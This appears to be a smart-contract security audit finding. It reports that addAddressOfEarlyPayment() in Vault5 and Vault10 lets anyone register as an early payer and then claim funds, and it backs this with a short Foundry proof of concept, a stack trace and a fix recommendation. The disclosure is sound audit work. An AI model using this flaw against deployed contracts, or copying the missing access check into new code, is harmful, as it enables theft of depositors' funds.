Adding earlyPayers exposed to every persons - High Severity!

[olahfemi]

Description
Affects both Vault5 and Vault10.

function addAddressOfEarlyPayment() allows any person to add themselves as earlypayer regardless if they are or not and this will open a vulnerability that allows the persons to attack the contract by claiming or withdrawing what he/she has no right to.

Context
Vault5.sol SLOC 62

POC

vm.prank(earlypayer4);
        vault5.addAddressOfEarlyPayment();
        vm.prank(Nonearlypayer5);
        vault5.addAddressOfEarlyPayment();

Stack traces 

    ├─ [0] VM::prank(earlypayer4: [0x4D9eFAE091Af29c3515E2c7f2f0d3003761918c3]) 
    │   └─ ← ()
    ├─ [24591] Vault5::addAddressOfEarlyPayment() 
    │   ├─ emit NewPaidUser(user: earlypayer4: [0x4D9eFAE091Af29c3515E2c7f2f0d3003761918c3], number: 4)
    │   └─ ← ()
    ├─ [0] VM::prank(Nonearlypayer5: [0x1844E62344cE92080772f5727ea370102D02c5E5]) 
    │   └─ ← ()
    ├─ [24591] Vault5::addAddressOfEarlyPayment() 
    │   ├─ emit NewPaidUser(user: Nonearlypayer5: [0x1844E62344cE92080772f5727ea370102D02c5E5], number: 5)
    │   └─ ← ()
    ├─ [0] VM::prank(Nonearlypayer5: [0x1844E62344cE92080772f5727ea370102D02c5E5]) 
    │   └─ ← ()

Note: The impact of the above can also result to the attack in issue #56 stated previously.

Recommendation
it is advisable to check if a user is indeed a valid earlypayer by adding one or two checks before they can be given the opportunity to withdraw their part of the share.